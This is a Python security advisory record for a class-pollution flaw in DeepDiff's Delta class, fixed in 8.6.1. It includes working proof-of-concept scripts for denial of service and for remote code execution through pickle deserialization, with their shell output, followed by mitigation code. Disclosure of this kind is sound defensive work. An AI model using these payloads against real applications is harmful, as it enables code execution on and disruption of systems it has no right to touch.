{"id":"PYSEC-2026-327","summary":"DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more","details":"### Summary\n[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).\n\nThe gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.\n \nDepending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.\n\n### Details\n\nThe `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).\n\n When it takes a dictionary, it is usually in the following format:\n```py\nDelta({\"dictionary_item_added\": {\"root.myattr['foo']\": \"bar\"}})\n```\n\nTrying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23\n \nHowever, this code only runs when parsing the path from a string.\nThe `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53\n \nThis means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:\n\n```py\nDelta(\n    {\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"__init__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"PWNED\", \"GET\"),\n            ): 1337\n        }\n    },\n)\n ```\n\nGoing back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.\nCare was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98\n However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.\n\nThis then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.\n\n#### Using dict\n\nUsually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.\nHowever, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.\nPassing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.\n\n### Proof of Concept\n\nWith deepdiff 8.6.0 installed, run the following scripts for each proof of concept.\nAll input to `Delta` is assumed to be user-controlled.\n\n#### Denial of Service\n\nThis script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.\n\n```py\n# ------------[ Setup ]------------\nimport pickle\n \nfrom deepdiff.helper import Opcode\n\npollute_int = pickle.dumps(\n    {\n        \"values_changed\": {\"root['tmp']\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"__builtins__\", \"GET\"),\n                (\"int\", \"GET\"),\n            ): \"no longer a class\"\n        },\n    }\n)\n\n\nassert isinstance(pollute_int, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Before pollution\nprint(int(\"41\") + 1)\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_int)\n\nprint(int(\"1337\"))\n```\n\n```shell\n$ python poc_dos.py\n42\nTraceback (most recent call last):\n  File \"/tmp/poc_dos.py\", line 43, in \u003cmodule\u003e\n    print(int(\"1337\"))\nTypeError: 'str' object is not callable\n```\n\n#### Remote Code Execution\n \nThis script will create a file at `/tmp/pwned` with the output of `id`.\n\n```py\n # ------------[ Setup ]------------\nimport os\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_safe_to_import = pickle.dumps(\n    {\n        \"values_changed\": {\"root['tmp']\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"set_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"sys\", \"GET\"),\n                (\"modules\", \"GETATTR\"),\n                (\"deepdiff.serialization\", \"GET\"),\n                (\"SAFE_TO_IMPORT\", \"GETATTR\"),\n            ): set([\"posix.system\"])\n        },\n    }\n)\n\n\n# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/\n class RCE:\n    def __reduce__(self):\n        cmd = \"id \u003e /tmp/pwned\"\n        return os.system, (cmd,)\n\n\n# Wrap object with dictionary so that Delta does not crash\nrce_pickle = pickle.dumps({\"_\": RCE()})\n\nassert isinstance(pollute_safe_to_import, bytes)\nassert isinstance(rce_pickle, bytes)\n\n# ------------[ Exploit ]------------\n # This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_safe_to_import)\n\nDelta(rce_pickle)  # no need to apply this Delta\n```\n\n```shell\n$ python poc_rce.py\n $ cat /tmp/pwned\nuid=1000(dtc) gid=100(users) groups=100(users),1(wheel)\n```\n \n### Who is affected?\n\nOnly applications that pass (untrusted) user input directly into `Delta` are affected.\n\nWhile input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.\n\n### Mitigations\n\nA straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.\nThis would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,\n and possibly in `deepdiff.delta.Delta._get_elements_and_details`.\nExample code that raises an error when traversing these properties:\n```py\nif elem.startswith(\"__\") and elem.endswith(\"__\"):\n  raise ValueError(\"traversing dunder attributes is not allowed\")\n```\n\nHowever, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).\nThis was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180","aliases":["CVE-2025-58367","GHSA-mw26-5g2v-hqw3"],"modified":"2026-07-01T20:22:51.022251Z","published":"2026-06-29T11:50:37.443319Z","references":[{"type":"WEB","url":"https://github.com/seperman/deepdiff/security/advisories/GHSA-mw26-5g2v-hqw3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58367"},{"type":"WEB","url":"https://github.com/dgilland/pydash/issues/180"},{"type":"WEB","url":"https://github.com/dgilland/pydash/commit/2015f0a4bcdbc3a5b27652e38fe97b3ee13ac15f"},{"type":"WEB","url":"https://github.com/seperman/deepdiff/commit/c69c06c13f75e849c770ade3f556cd16209fd183"},{"type":"PACKAGE","url":"https://github.com/seperman/deepdiff"},{"type":"WEB","url":"https://github.com/seperman/deepdiff/releases/tag/8.6.1"},{"type":"PACKAGE","url":"https://pypi.org/project/deepdiff"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mw26-5g2v-hqw3"}],"affected":[{"package":{"name":"deepdiff","ecosystem":"PyPI","purl":"pkg:pypi/deepdiff"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"8.6.1"}]}],"versions":["5.0.0","5.0.1","5.0.2","5.2.0","5.2.1","5.2.2","5.2.3","5.3.0","5.5.0","5.6.0","5.7.0","5.8.0","5.8.1","6.2.1","6.2.2","6.2.3","6.3.0","6.3.1","6.4.0","6.4.1","6.5.0","6.6.0","6.6.1","6.7.0","6.7.1","7.0.0","7.0.1","8.0.0","8.0.1","8.1.0","8.1.1","8.2.0","8.3.0","8.4.0","8.4.1","8.4.2","8.5.0","8.6.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/deepdiff/PYSEC-2026-327.yaml","last_known_affected_version_range":"\u003c= 8.6.0"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}